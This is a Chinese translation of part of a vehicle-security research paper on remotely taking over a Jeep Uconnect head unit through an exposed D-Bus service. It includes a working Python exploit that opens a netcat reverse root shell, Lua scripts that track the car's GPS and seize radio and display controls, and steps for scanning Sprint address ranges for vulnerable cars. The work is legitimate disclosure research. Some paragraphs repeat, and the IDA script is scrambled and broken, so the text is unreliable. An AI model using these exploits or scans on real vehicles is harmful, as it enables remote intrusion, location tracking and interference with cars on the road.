Author: Dr. Charlie Miller ([email protected]) Chris Valasek ([email protected])
唐朝實驗室翻譯組:朱于濤 劉家志
D-Bus系統是可以匿名訪問的,跨進程通訊經常會使用D-Bus系統。我們認為,D-Bus系統本不應該會暴露,所以,我們有點意外,利用D-Bus來運行代碼居然是可行的。
你已經發現了D-Bus服務暴露在了端口6667上,并且這個端口是在Uconnect系統上運行的。所以,我們認為通過不認證辦法來執行代碼是最好的方式。在一開始的時候,我們就懷疑過這個服務,因為這個服務在設計上就是為了處理通訊。我們推測,這種通訊一定在某種程度上是受信的,并且在設計上就不會處理遠程數據。在網絡上,暴露像D-Bus這樣一個強大和全面的服務會造成幾個安全問題,無論是功能濫用,還是代碼注入,甚至是內存崩潰。
在上文的D-Bus服務章節,我們發現了幾個D-Bus服務,以及調用每個服務的方法,但是有一個非常重要的服務沒有提到,那就是‘NavTrailService’ 。‘NavTrailService’的代碼是在這里‘/service/platform/nav/navTrailService.lua
’ 實現的。因為內存崩潰非常難實現,而且這又是一個LUA腳本,所以我們的第一個想法就是查找命令注入漏洞。我們發現了下面的一個方法,這個方法是在一個用戶命名的文件上操作的。
function methods.rmTrack(params, context)
return {
result = os.execute("rm \"" .. trail_path_saved .. params.filename .. "\"")
}
end
‘rmTrack’方法中包含有一個命令注入漏洞,如果攻擊者能調用D-Bus方法,那么利用這個漏洞,攻擊者就可以通過指定包含有shell元字符的文件來運行任意的shell命令(當然也有其他類似的方法)。我們的懷疑是正確的,因為在處理可信來源的用戶輸入時,命令注入是一種非常典型的方法。
但是,這里的命令執行不是必要的,因為實際上‘NavTrailService’服務提供了一種 “執行”方法,這種方法就是設計用于執行任意shell命令的!嘿,這是一個功能,不是一個bug!下面列出的是‘NavTrailService’可用的所有服務,加粗顯示的兩個服務是我們所討論的。("execute",,"rmTrack")
"com.harman.service.NavTrailService":
{"name":"com.harman.service.NavTrailService",
"methods":{"symlinkattributes":"symlinkattributes",
"getProperties":"getPr operties","execute":"execute",
"unlock":"unlock","navExport":"navExport","ls": "ls",
"attributes":"attributes","lock":"lock","mvTrack":"mvTrack",
"getTracksFo lder":"getTracksFolder","chdir":"chdir",
"rmdir":"rmdir","getAllProperties":"g etAllProperties",
"touch":"touch","rm":"rm","dir":"dir","writeFiles":"writeFil es",
"setmode":"setmode","mkUserTracksFolder":"mkUserTracksFolder",
"navGetImpo rtable":"navGetImportable",
"navGetUniqueFilename":"navGetUniqueFilename","mkd ir":"mkdir",
"ls_userTracks":"ls_userTracks","currentdir":"currentdir","rmTrac
k":"rmTrack","cp":"cp","setProperties":"setProperties",
"verifyJSON":"verifyJS ON"}},
你可以推測出在頭單元上使用根權限來執行代碼并不難,尤其是當默認安裝的是常用的通訊工具時,比如netcat(nc)。我們希望這個漏洞可以更出色一點(編輯注釋:這是假話!),雖然在頭單元上執行代碼不是很困難。下面的四行Python代碼可以在未經篡改過的頭單元上打開一個遠程根shell,這意味著攻擊者并不需要通過劫持頭單元就可以入侵系統。
#!python
import dbus
bus_obj=dbus.bus.BusConnection("tcp:host=192.168.5.1,port=6667")
proxy_object=bus_obj.get_object('com.harman.service.NavTrailService','/com/ha rman/service/NavTrailService')
playerengine_iface=dbus.Interface(proxy_object,dbus_interface='com.harman.Ser viceIpc')
print playerengine_iface.Invoke('execute','{"cmd":"netcat -l -p 6666 | /bin/sh | netcat 192.168.5.109 6666"}')
至此,我們就可以在頭單元上運行任意代碼了,尤其是在Uconect系統中的OMAP芯片上。在這一部分,我們講解了幾種能影響到汽車內部以及無線電廣播功能的LUA腳本,例如調高音量或阻止某個控制開關的響應(也就是音量)。通過這個腳本你就能知道在具備了遠程shell和Uconnect系統權限后,我們可以在汽車上做哪些手腳。接下來,我們會說明如何通過遠程訪問D-Bus系統來實現平行感染并發送任意的CAN信息,從而影響汽車上除了頭單元以外的其他系統。
頭單元能夠查詢并獲取車輛上的GPS坐標,不是通過Sierra Wireless調制解調器就是通過Wi-Fi。通過端口6667上未認證的D-Bus通訊也可以獲取到這些值,這樣造成的結果就是可以追蹤任意車輛的位置。換句話說,我們下面的這個腳本就可以在頭單元上運行,但是只能通過查詢暴露的D-bus服務來獲取坐標值。
service = require("service")
gps = "com.harman.service.NDR"
gpsMethod = "JSON_GetProperties"
gpsParams = {
inprop = {
"SEN_GPSInfo"
}
}
response = service.invoke(gps, gpsMethod, gpsParams) print(response.outprop.SEN_GPSInfo.latitude, response.outprop.SEN_GPSInfo.longitude)
例如,如果你在頭單元上執行‘lua getGPS.lua
’,那么就會返回如下的結果:
40910512 -73184840
然后,你可以稍加修改,在谷歌地圖中輸入40.910512, -73.184840,這樣就能確定其位置了。在這個例子中,是長島的某個位置。
頭單元可以控制汽車的供暖和空調。下面的代碼會把風扇設置到一個任意速度。
Uconnect系統的一個主要功能就是控制廣播。攻擊者可以很輕易地把廣播音量設置成任意值。例如,如果攻擊者知道現在播放的是愛司基地(Ace of Base)的歌,他們可以把音量調整到一個合適的級別(也就是最合適的音量)。
require "service"
params = {}
params.volume = tonumber(arg[1])
x=service.invoke("com.harman.service.AudioSettings", "setVolume", params)
有時候,比如在聽2 Live Crew的時候,調高低音是唯一的選擇。喜歡重低音的攻擊者可以使用下面的腳本來調整相應的級別。
require "service"
params = {}
params.bass = tonumber(arg[1]) x=service.invoke("com.harman.service.AudioSettings", "setEqualizer", params
在路途中,最重要的任務之一就是選擇一個合適的FM電臺。通過編程LUA腳本也可以更換電臺。
require "service"
Tuner = "com.harman.service.Tuner"
service.invoke(Tuner, "setFrequency", {frequency = 94700})
這里有很多很多種辦法都可以修改Uconnect的顯示狀態,比如完全關閉顯示屏或顯示后置攝像頭。下面的幾個代碼示例可以更改屏幕顯示:
require "service"
x=service.invoke("com.harman.service.LayerManager", "viewBlackScreen", {})
x=service.invoke("com.harman.service.LayerManager", "stopBlackScreen", {})
x=service.invoke("com.harman.service.LayerManager", "viewCameraInput", {})
x=service.invoke("com.harman.service.LayerManager", "stopViewInput", {})
x=service.invoke("com.harman.service.LayerManager", "showSplash", {timeout = 2})
你還可以更改頭單元上的顯示屏來顯示你選中的圖片。這張圖片的大小和格式(png)必須是正確的。然后,這張照片必須放到文件系統上的某個位置。最后,你就能告訴頭單元要顯示這張照片。
mount -uw /fs/mmc0/
cp pic.png /fs/mmc0/app/share/splash/Jeep.png pidin arg | grep splash
kill <PID>
splash -c /etc/splash.conf &
一旦這張圖片就位了,你就可以調用上述的‘showSplash’ 方法。
圖-兩個年輕人
一個更有趣的發現之一就是在殺死某項服務后,能夠使電臺的旋鈕控制失效,比如音量和調音器控制。通過殺死主要的D-Bus服務,你就可以使所有的電臺控制失去響應。如果再執行幾項其他的操作,這種攻擊會變得尤其煩人,比如把低音和音量調到最高。
kill this process: lua -s -b -d /usr/bin service.lua
目前,我們已經知道了如何在頭單元上運行代碼,前提是你能用USB設備(劫持)來連接汽車或訪問車內的Wi-Fi(利用D-BUS漏洞/功能)。最大的問題是,這些入侵方法都要么需要接觸到汽車,要么就需要攻擊者加入到車上的Wi-Fi熱點。
如果能加入到車內的Wi-Fi熱點并進行漏洞利用是非常讓人激動的,因為這就說明我們已經遠程入侵了一輛原裝汽車,但是,對我們來說,這其中的前提和限制還是太多了。首先,我們假設多數用戶不會購買車上的Wi-Fi服務,因為這項服務的收費太高了,每月34.99美元(約是217.33元)。第二,問題在于Wi-Fi的加入,雖然考慮到密碼的生成方式,問題并不大。最后,也是最重要的,Wi-Fi的范圍對于汽車入侵來說太短了,大約只有32米。雖然這個范圍足夠攻擊者開車接近目標車輛來入侵其頭單元并發送命令,但是這不是我們最終想要的目標。我們會繼續調查能否從更遠的距離上利用漏洞來攻擊目標車輛。
觀察Uconnect系統的網絡配置,我們可以在其中找到幾個用于通訊的接口。這里面就有一個用于內部Wi-Fi通訊的接口uap0,另一個PPP接口-ppp0,我們猜測是用于通過Sprint的3G服務與外界通訊。
# ifconfig
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 33192
inet 127.0.0.1 netmask 0xff000000
pflog0: flags=100<PROMISC> mtu 33192
uap0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
address: 30:14:4a:ee:a6:f8
media: <unknown type> autoselect
inet 192.168.5.1 netmask 0xffffff00 broadcast 192.168.5.255
ppp0: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1472 inet 21.28.103.144 -> 68.28.89.85 netmask 0xff000000
Uconnect系統會把地址192.168.5.1分配給連接到Wi-Fi訪問點的主機。如果用戶了連接到了Uconnect系統,他們就會看到IP地址68.28.89.85。但是,在這個地址上,端口6667不是打開的。在接入網絡時,21.28.103.144是Uconnect實際的接口地址,但是只開放給內部的Sprint網絡。
在經過實驗后,我們發現每當汽車重新啟動時,PPP接口的IP地址就會更改,但是地址空間中總是會填充兩個A類地址塊:21.0.0.0/8 或 25.0.0.0/8,這兩個地址空間應該是Sprint給汽車的IP地址保留的。在這里可能保留了更多的地址塊來供汽車使用,但是我們很確定的是,凡是運行著Uconnect系統的車輛中都有這兩個地址空間。
我們還想要檢查D-Bus服務是不是的確綁定到了蜂窩接口上的同一個端口(6667),允許通過IP進行D-Bus交互。下面是一個活動的頭單元上的netsat輸出:
# netstat
Active Internet connections
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 144-103-28-21.po.65531 68.28.12.24.8443 SYN_SENT
tcp 0 27 144-103-28-21.po.65532 68.28.12.24.8443 LAST_ACK
tcp 0 0 *.6010 *.* *.* LISTEN
tcp 0 0 *.2011 *.* LISTEN
tcp 0 0 *.6020 *.* *.* LISTEN
tcp 0 0 *.2021 *.* LISTEN
tcp 0 0 Localhost.3128 *.* LISTEN
tcp 0 0 *.51500 *.* LISTEN
tcp 0 0 *.65200 *.* LISTEN
ESTABLISHED
tcp 0 0 localhost.65533 *.* LISTEN
ESTABLISHED
tcp 0 0 *.4400 *.* LISTEN
tcp 0 0 *.irc *.* LISTEN
udp 0 0 *.* *.*
udp 0 0 *.* *.*
udp 0 0 *.* *.*
udp 0 0 *.* *.*
udp 0 0 *.bootp *.*
從上面的輸出中你可以看出,與IRC關聯的端口6667綁定到了所有的接口上。所以,我們可以通過蜂窩網絡來執行D-Bus通訊,從而攻擊這輛吉普切諾。我們首先想到的是獲取一個飛蜂窩(Femtocell)設備并強制這臺吉普切諾加入我們的網絡,這樣就能直接通過蜂窩從更遠的范圍上與車輛通訊。
飛蜂窩設備基本上就是一個迷你的蜂窩塔,用于幫助消費者改善居住位置的信號接收問題。除了當做一個信號塔,這個設備還可以用于攔截蜂窩流量,按照攻擊者的意愿進行修改。
我們還從Ebay上購買了幾個老款的Sprint Airave基站,其中有了兩個是壞的,另一個 “全新的”設備據稱被盜了(感謝Ebay!)。我們選用了Airave 2.0基站,因為我們知道這個設備上有一個漏洞,利用這個漏洞可以打開設備上的Telnet和HTTPS。
圖-Sprint Airave 2.0
在運行了漏洞后,我們的Airave設備就可以通過Telnet遠程訪問了,實際上就是給我們提供了設備上的一個Busybox shell。我們估計,基本上這些工具就足夠我們通過蜂窩網絡與這臺吉普切諾通訊了。
讓我們高興的是,我們通過蜂窩網絡成功地ping到了這輛吉普上,并且能與D-Bus進行通訊。也就是說,我們可以擴大攻擊范圍了,并通過Wi-Fi利用遠程命令執行中存在的同一個漏洞,而且不需要針對原裝車輛進行任何修改(不僅僅是啟用了Wi-Fi的車輛)。
可以說這是一次巨大的勝利,但是我們意識到這個攻擊范圍還是很有限,我們還想要繼續擴大范圍,我們也能夠做到。
我們選用飛蜂窩設備的原因是我們認為普通的Sprint信號塔會攔截兩臺設備間的通訊。通過使用我們自己的信號塔(飛蜂窩),我們能保證能夠與吉普切諾上的Uconnect系統通訊。但是,實際上,Sprint并不會在他們的網絡上攔截設備之間的這類流量。我們首先驗證了,在一個信號塔內,一臺Sprint設備(在我們的例子中是一個一次性手機)可以與另一臺Sprint設備通訊,也就是直接與我們的吉普車通訊。這樣攻擊范圍就可以擴大到一個信號塔的范圍了。
更讓我們震驚的是,其連接性并不局限于單個的信號塔。全國范圍內的任何Sprint設備在任何地方都可以與其他位置的Sprint設備通訊。例如,下面就是克里斯在匹茲堡發起的一個會話,證明了他可以在圣路易斯訪問這臺吉普車的D-Bus端口。
$ telnet 21.28.103.144 6667
Trying 21.28.103.144...
Connected to 21.28.103.144.
Escape character is '^]'.
a
ERROR "Unknown command"
注意:連接主機必須要在Sprint網絡上(例如,連接到Sprint手機的一臺筆記本或連接到Uconnect Wi-Fi熱點的筆記本),并且不能是互聯網上的一臺通用主機。
為了找到有漏洞的車輛,你只需要在IP地址21.0.0.0/8 和 25.0.0.0/8 上掃描Sprint設備的端口6667。任何有響應的設備就是有漏洞的Uconect系統(或一個IRC服務器)。為了確定這一點,你可以嘗試Telnet登陸這臺設備并查找錯誤字符串“Unknown command”。
圖-掃描設置
如果你想的話,接下來你可以與D-Bus服務交互,從而執行上述的任何操作。除非你得到了車主的允許,否則不要這么做。
為了了解有多少車輛會受到這個漏洞的影響,以及存在漏洞的車型,我們執行了一些網絡掃描。
下面就是我們通過掃描發現的一些可能存在漏洞的車型:
2013 道奇蝰蛇
2013 RAM 1500
2013 RAM 2500
2013 RAM 3500
2013 RAM CHASSIS 5500
2014 道奇杜蘭戈
2014 道奇蝰蛇
2014 吉普切諾
2014 吉普大切諾
2014 RAM 1500
2014 RAM 2500
2014 RAM 3500
2014 RAM CHASSIS 5500
2015 克萊斯勒 200
2015 吉普切諾
2015 吉普大切諾
注意:我們實際上并沒有利用漏洞來攻擊這些車輛,所以我們也無法100%的確定這些車型有漏洞,但是這些車輛上確實有一個監聽D-Bus的服務,我們在沒有認證的情況下可以遠程與D-Bus服務交互。
在一次掃描會話中,我們發現了2695臺車輛。當時,我們根據VIN編號確定了其中有21臺是重復的。
利用基于標記重補法的公式,我們估算了有漏洞的車輛數量。我們的想法是,如果掃描所有包含有漏洞的車輛,你會看到很多重復結果,如果你只掃描一小部分,那么重復的數量不會太多。所以,我們并沒有看到太多的重復。注意,我們的設置與這個數學模型的猜測并不完全一致,但是很接近。無論如何,菲亞特克萊斯勒公司清楚真實的數量。
我們使用了貝葉斯算法來估計其數量:
(2694 * 2694) / 19 +/- sqrt((2694 *2694 *2675 *2675) / (19 *19 *18)) = 381,980 +/- 89,393
我們估算,大約在292,000到471,000臺汽車中存在漏洞。然而,,我們觀察了一些在2013年和2014年生產的車型,克萊斯勒稱他們2014年的銷售數量在1,017,019左右,也就是說真實數量要比我們估計得多。
注意:此次研究造成的召回事件影響了140萬臺汽車。看來我們估計少了。
因為,一臺汽車可以掃描其它有漏洞的車輛,并且漏洞利用不需要任何用戶交互,所以寫一個蠕蟲是可行的。這個蠕蟲要能夠掃描有漏洞的車輛,并使用自己的有效載荷來掃描其它的漏洞車輛并進行漏洞利用。這非常有趣也很可怕。請不要這樣做。
我們先前討論過,Uconnect系統能夠與兩個不同的CAN總線通訊。CAN通訊是由Renesas V850ES/FJ3芯片通訊,請參考CAN連接性章節。但是,OMAP芯片,我們在漏洞利用了D-Bus后在這上面執行了代碼,這塊芯片并不能發送CAN信息。不過,OMAP芯片可以與v850芯片通訊,而v850芯片可以發送CAN信息。
在調查頭單元時,我們把V850和CAN通訊稱作了 “IOS”。有意思的是,頭單元(OMAP芯片)可以更新IOC(V850芯片),通常是通過U盤。接下來,我們會討論IOC是如何更新的,并看看我們能不能利用這種機制在IOC上刷入篡改過的固件,從而允許我們在入侵了OMAP芯片后發送CAN信息。
我們先前討論過,Uconnect系統能夠與兩個不同的CAN總線通訊。CAN通訊是由Renesas V850ES/FJ3芯片通訊,請參考CAN連接性章節。但是,OMAP芯片,我們在漏洞利用了D-Bus后在這上面執行了代碼,這塊芯片并不能發送CAN信息。不過,OMAP芯片可以與v850芯片通訊,而v850芯片可以發送CAN信息。
在調查頭單元時,我們把V850和CAN通訊稱作了 “IOS”。有意思的是,頭單元(OMAP芯片)可以更新IOC(V850芯片),通常是通過U盤。接下來,我們會討論IOC是如何更新的,并看看我們能不能利用這種機制在IOC上刷入篡改過的固件,從而允許我們在入侵了OMAP芯片后發送CAN信息。
在任何時候,都可以在下面的三種模式下更新IOC。第一種是應用模式,也就是用戶認為的 “常規”模式,因為這種模式具有引導程序、完整的固件和運行的應用代碼。第二種模式是引導程序模式,設計用于更新IOC上的應用固件。最后,是引導程序更新模式,在這個模式中,IOC會進入一種可以更新引導程序的狀態,而引導程序是負責把固件加載到內存并把IOC放入到應用中。
再回過頭去觀察更新ISO中的’manifest.lua’,我們看到這里有一個文件就是用于更新IOC的應用固件-‘cmcioc.bin’。在后面你會看到,這個二進制文件的確是一個完整的V850固件,通過逆向工程,我們發現了更多有趣的點。
ioc= 44 {
name = "ioc installer.",
installer = "ioc",
data = "cmcioc.bin",
}
通過更深入的調查’manifest.lua’,你會發現還有幾個文件與IOC更新或相應的啟動程序更新有關系。
local units =
{ ...
ioc_bootloader =
{
name = "IOC-BOOTLOADER",
iocmode = "no_check",
installer = "ioc_bootloader",
dev_ipc_script = "usr/share/scripts/dev-ipc.sh",
bootloaderUpdater = "usr/share/V850/cmciocblu.bin",
bootloader = "usr/share/V850/cmciocbl.bin",
manifest_file = "usr/share/V850/manifest.xml"
},
ioc =
{
name = "IOC",
installer = "ioc",
dev_ipc_script = "usr/share/scripts/dev-ipc.sh",
data = "usr/share/V850/cmcioc.bin"
},
實際用于IOC更新或啟動程序更新的文件數量并不多。我們最感興趣的還是應用代碼,因為我們能從中找到最佳的機會來找到用于發送和接收CAN信息的代碼,在下面用加粗的就是(cmcioc.bin)。
$ ls -l usr/share/V850/
total 1924
-r-xr-xr-x 1 charlesm staff 458752 Jan 30 2014 cmcioc.bin
-r-xr-xr-x 1 charlesm staff 65536 Jan 30 2014 cmciocbl.bin
-r-xr-xr-x 1 charlesm staff 458752 Jan 30 2014 cmciocblu.bin
-r-xr-xr-x 1 charlesm staff 604 Jan 30 2014 manifest.xml
注意:我們知道要逆向哪個文件,需要找到一種方法把修改過的固件刷到V850芯片上,所以我們可以平行移動代碼執行,通過CAN總線來物理控制頭單元。我們很幸運,系統上有一個二進制就是設計用于執行我們想要的操作。
通過‘iocupdate’可執行程序,IOC應用代碼可以推入到Uconnect系統上的V850固件,這個可執行程序就是’ioc.lua’。
iocupdate -c 4 -p usr/share/V850/cmcioc.bin
‘iocupdate’的幫助文檔證實了我們的初步分析,根據其說明,這個文件確實是用于從頭單元向IOC發送二進制文件
%C: a utility to send a binary file from the host processor to the IOC [options] <binary file name>
Options:
-c <n> Channel number of IPC to send file over (default is /dev/ipc/ch4) -p Show progress
-r Reset when done
-s Simulate update
Examples:
/bin/someFile.bin (will default to using /dev/ipc/ch4)
-c7 -r /bin/someFile.bin (will reset when done)
-sp (simulate update with progress notification)
在我們想出如何編程V850數據包之后,我們需要逆向并修改IOC應用固件來添加代碼,從而接收并轉發命令到CAN總線。最重要的部分是逆向IOC應用固件,因為我們這樣會暴露必要的代碼來發送和接收來自總線的CAN信息。幸運的是,我們發現IOC可以重新刷入固件,并且沒有使用加密簽名來驗證固件是不是合法的。
這次研究的主要目的不僅僅是為了證明汽車的通訊系統是可以入侵的(因為我們早就知道這一點了),而是為了證明在成功遠程入侵后,我們先前研究證明過的攻擊方法可以用同樣的方式執行。
正如我們多次提到的,Uconnect系統使用了芯片組Renesas V850/Fx3與車內網絡通訊。我們意識到,如果我們想要從車輛上發送并接收CAN信息,我們很可能需要逆向這個固件,來弄清楚究竟要如何調用與CAN相關的函數。
不出意外,我們會使用IDA Pro作為我們的逆向工程平臺。我們很幸運,已經有一個寫好的處理器模塊符合我們的架構要求,NEC V850E1/ES [V850E1]
圖-V850處理器類型
一旦固件加載到了IDA Pro,你就能看到固件中的第一條指令,這條指令會跳轉到設置代碼,初始化需要的值來實現功能。值得注意的是,簡單地把跳轉到初始化代碼作為第一條指令在固件鏡像中并不常見,Uconnect鏡像只是湊巧對我們很友好:
圖-跳轉代碼
在下面你會看到,一些寄存器都設置到了特定的值,其中最有趣的是“mov 0x3FFF10C, gp”,這樣我們就知道了GP寄存器的值。GP寄存器是用于設置相對地址(隨后討論)。另外,我們根據0x77966上R5位置的值判斷,鏡像的起始地址是0x10000。
圖-V850初始化代碼
然后,我們可以回來并重新加載鏡像ROM的起始位置,加載位置是0x10000。設置這些地址值能保證我們可以逆向所有必要的代碼,并確保交叉引用會正確地暴露。
圖-鏡像地址
僅僅是因為我們獲取到了可讀的V850匯編代碼,還不能說項目的逆向部分就完成了。相反,我們用了幾個周的時間才通過逆向V850固件,獲取到了所有必要的功能,從而修改固件鏡像來通過無線接口來接收任意的CAN信息。
第一步是通過查找所有的代碼來正常化IDB,修復IDA Pro無法弄明白的部分,創建函數并保證所有的函數調用和交叉引用是正確的。這一過程大都是自動進行的,通過在這些位置上查找特定的操作碼并創建代碼。IDA Python讓這個任務變得很簡單:
圖-Python找到的代碼函數
如果你的工作沒有出錯,你會在IDB的ROM片段中看到一篇藍色的海洋,顯示了所有確定了位置的代碼和函數。
圖-IDA Pro的ROM部分
現在IDB已經是標準的了,這樣我們就可以讀取數據表,讓V850/Fx3處理器來弄明白這些片段、地址、寄存器和其他的重要信息,用于逆向出我們需要的特定信息。
搞清楚了V850的地址空間和相關的固件是我們的首要任務。只要閱讀了V850的介紹文檔并弄明白了不同區段上的代碼、外圍設備和RAM后,這個任務就會變得很簡單。
圖-V850的介紹文檔
然后,我們可以在我們的IDB上創建合適的區段,來反映V850處理器的地址空間布局,用于運行我們的固件。我們知道ROM區段是從0x10000 開始的,直到0x70000,包含了我們的可執行代碼。我們的處理器有32KB的RAM,映射的是0x3FF7000-3FFEFFF 。不出意外,變量就會儲存在這個RAM區域中,并且在我們的IDB中顯示,這個RAM區域中有很多交叉引用。另外還有一個特殊函數寄存器(SFR)區段。SFR是內存映射寄存器,其目的有很多。
最后,也是最有趣的,這有一個12KB的可編程外圍設備I/O區域(PPA),這里面包括有CAN模塊,與CAN模塊相關的寄存器和相應的信息緩沖區。這個區域的基址是外圍區域選擇控制寄存器(BPC)指定的。一般對于微控制器來說,PPA的基址會固定到0x3FEC000。下面的圖像中列出了我們在IDB中發現的所有區段。
圖-Uconnect的固件區段
之前我們討論過V850是如何利用GP的相對地址來獲取RAM中的變量。你會發現,使用了GP中負偏移的代碼反過來會變成一個虛擬地址。比如(如下),把值-0x2DAC移動到GP,有效地從0x3FFF10C中減去0x2DAC,這樣我們就得到了一個地址:0x3FFC360。
圖-基于GP的地址示例
我們寫了一個腳本來遍歷IDB中所有的函數,并為使用了GP相對地址的一些函數創建了一個交叉引用。
def do_one_function(fun):
for ea in FuncItems(fun):
mnu = idc.GetMnem(ea)
# handle mova, -XXX, gp, REG
if idc.GetOpnd(ea,1) == 'gp' and idc.GetOpType(ea,0) == 5:
opnd0 = idc.GetOpnd(ea,0)
if "unk" in opnd0:
continue
if("(" not in opnd0):
data_ref = gp + int(idc.GetOpnd(ea,0), 0)
print "MOV: Add xref from %x -> %x" % (ea, data_ref)
idc.add_dref(ea, data_ref, 3)
in idc.GetOpnd(ea,1):
if "CB2CTL" in op2:
continue
# handle st.h REG, -XXX[gp]
op2 = idc.GetOpnd(ea,1)
if 'st' in mnu and idc.GetOpType(ea,0) == 1 and 'gp' in op2 and "(" not
end = op2.find('[')
if end > 0:
offset = int(op2[:end], 0)
print "ST: Add xref from %x -> %x" % (ea, gp + offset)
idc.add_dref(ea, gp + offset, 2)
# handle ld.b -XXX[gp], REG
op1 = idc.GetOpnd(ea,0)
if 'ld' in mnu and 'gp' in op1 and idc.GetOpType(ea,1) == 1 and "(" not
in idc.GetOpnd(ea,0):
if "unk" in op1:
continue
end = op1.find('[')
if end > 0:
offset = int(op1[:end], 0)
print "LD: Add xref from %x -> %x" % (ea, gp + offset)
idc.add_dref(ea, gp + offset, 3)
這些代碼和交叉引用能讓你查看變量的引用位置,并跟蹤它們來查找特定的功能。
圖-RAM的外部引用
現在,我們已經將代碼正常化了,并且RAM中的變量也有了交叉引用,接下來我們要填充PPA區段,因為CAN交互大多都是在這里進行。我們假設所有負責處理CAN的函數,比如讀取總線中的信息,向隊列寫入信息,都會引用這個內存地址區域。在第20章,我們介紹了每個CAN模塊的功能和寄存器。V850最多可以有4個CAN模塊來處理每個數據包,但是,在我們的固件中,我們只發現了兩個。
第20.5章中列出了CAN模塊使用的所有寄存器和信息緩沖區。這些寄存器和信息緩沖區來自PBA的一個偏移。如果你還記得我們上面說過的,我們的微控制器使用的PBA是0x3FEC000。然后,我們可以遍歷每個模塊的所有寄存器和CAN緩沖區,并在IDB中為其創建名稱,這樣我們就可以查找交叉引用了,反過來,我們可以借此找到與CAN總線交互的代碼。下面使我們寫的一個Python腳本部分,能夠將合適的名稱填充到PPA。完整的腳本叫做’create_segs_and_regs.py’,觀察這個腳本你就能知道所有的這些區段是如何創建的,填充是如何處理的。
圖-在PPA中創建CAN值
接著,你可以前往IDB中的幾個位置,檢查這些位置上的布局和交叉引用。例如,下圖中顯示的就是CAN模塊0中,CAN信息緩沖區的第二個和第三個位置(分別是01和02)。
圖-CAN模塊0的信息緩沖區 2&3
現在,IDB已經具有了RAM中變量的交叉引用,一個填充了CAN控制寄存器和信息緩沖區的PPA部分,還有一個完全正常化的ROM代碼部分。目前,我們估計已經能看見PPA部分上,CAN信息緩沖區的外部引用,但是,我們很困惑,在代碼節上,我們為什么觀察不到任何到PPA的引用呢?
注意:要想發現錯誤,我們需要做很多,需要我們在ROM區段中以代碼的形式列出了一些數據,但是無論如何,我們還是會繼續。
既然我們無法找到任何可行的外部引用會引用相關的CAN代碼,我們決定下載IAR工作臺,有很多自動化領域的工程師都會使用這個平臺來給V850處理器編譯代碼。IAR工作臺中恰好提供了我們的處理器所使用的代碼示例,并且還包含了用于發送和接收CAN信息的代碼樣本。
圖-IAR中的V850 CAN 代碼示例
然后,我們就可以完整的逆向‘can_transmit_msg’這個函數。我們本應該知道,代碼并不會直接訪問PPA,而是訪問ROM中的變量,這個ROM指向的就是相關的CAN部分。只要你獲取到了CAN模塊陣列,并根據索引來訪問這些模塊,一切就都說得通了,請參考上面的IAR示例。我們現在已經有了函數的引用點,這些函數能夠與CAN總線交互。
圖-PPA CAN變量
除了ROM中與CAN通訊相關的變量,在RAM中還引用了CAN使用的信息緩沖區和控制寄存器。基本上,PPA中的數據都會復制到RAM,反之亦然,因為這些值可以在短時間內被覆蓋。例如,我們逆向了函數‘can_read_from_ram’ 和d ‘can_write_to_ram’,這兩個函數的作用分別就是把PPA中的數據放到RAM,讀取RAM中的數據放到PPA。
圖-can_read_from_ram
圖-can_write_to_ram
在RAM中還有另外幾個非常重要的區域儲存著CAN ID,CAN數據長度和CAN信息數據。在RAM中儲存著一些變量指針,這是發送CAN信息所不可缺少的。
圖-RAM指針
通過跟蹤CAN寄存器,信息緩沖區和RAM值,我們完整的逆向了好幾個用于發送和接收CAN信息的函數。對我們來說,最有用的一個函數是’can_transmit_msg_1_or_3’,這個函數會從固定CAN ID陣列中提取一個索引,在我們的例子中,獲取的是一個特殊的索引,指示我們正在提供一個用戶提供的CAN ID;還有一個指向了數據長度和CAN信息數據的指針。通過向RAM中的幾個位置填充值,我們可以讓固件發送任意的CAN信息、控制ID、長度和數據。
圖-can_transmit_msg_1_or_3
目前來說,我們的最大問題是,雖然我們有能力制作任何CAN信息,但是我們實際上沒有調用函數的方法。我們可以通過修改固件來調用函數,但是我們想要找到一種方法來從OMAP芯片上發送CAN信息,使用V850作為一個代理。似乎我們有些本末倒置了,因為對于傳輸函數的直接調用是有限制的,沒有任何函數能調用到OMAP芯片上。本質上說,Uconnect系統確實執行了一些CAN功能,但是我們無法通過入侵頭單元來直接調用任何的函數,所以,我們需要另一種方式讓我們的信息傳遞到總線上。
我們知道V850/Fx3也支持通過SPI和I2C的串行通訊,但是我們只看到過頭單元與V850芯片之間使用過SPI通訊。所以,我們決定在固件中查找可以執行SPI數據解析的代碼。SPI是一個非常簡單的串行通訊協議,所以我們決定查找在線路上觀察到的特定值,以及類似于逐字節數據解析的代碼。
圖-SPI通道7
在上面的例子中,你可以看到,0x22的值被用于比較0x4A1E6上的值,這與我們在SPI 通道7上面觀察到的數據吻合。接下來,在下一章,我們會使用SPI協議和修改過的IOC固件,向V850芯片發送任意數據,填充變量并發送任意的CAN信息。
注意:為了保持簡潔,在這一章中我們省略了大量的細節。和往常一樣,有具體問題請聯系我們的郵箱。我們用了幾周的時間才完成了V850固件和SPI通訊的逆向,結果表明這一部分是整個項目中最耗時耗力的。
IOC運行在V850芯片上,能夠直接訪問(讀/寫)CAN總線,所以,我們的目標就是修改IOC并想辦法從Uconnect系統上與IOC通訊。如前文所述,這個固件沒有簽名,并且可以從頭單元上更新。對于攻擊者來說,最復雜的部分就是系統只能使用U盤來更新,作為一名遠程攻擊者,我們無法做到這一點。我們希望能在不使用USB設備的情況下,從OMAP芯片上刷V850。
前面的章節中,我們詳細的介紹過,IOC的更新是‘iocupdate’二進制通過與SPI通道4通訊,使用類似ISO-14230的命令執行的。當在應用模式下時,也就是頭單元“啟動”狀態下,‘iocupdate’二進制不會處理V850。在常規模式下,所有發送到V850的SPI信息都會被忽略。需要讓IOC進入 “bootrom”模式,才能更新固件。
但是,讓V850進入 “bootrom”的唯一辦法是重置V850,然后重置OMAP芯片(這樣攻擊者就會丟失控制)。當OMAP處理器啟動進入 “更新模式”時(要想讓IOC進入 “bootrom”模式,OMAP需要進入 “更新模式”),OMAP處理器會嘗試從USB設備更新。這種更新方式一般是硬編碼的,無法更改。
我們的主要目的是讓V850進入 “更新模式”,當然,是在沒有USB設備參與的情況下。在這里,我們可以遠程在文件系統中放入一個鏡像,通過鏡像來更新V850。很顯然,我們無法依靠USB設備來發動遠程攻擊。
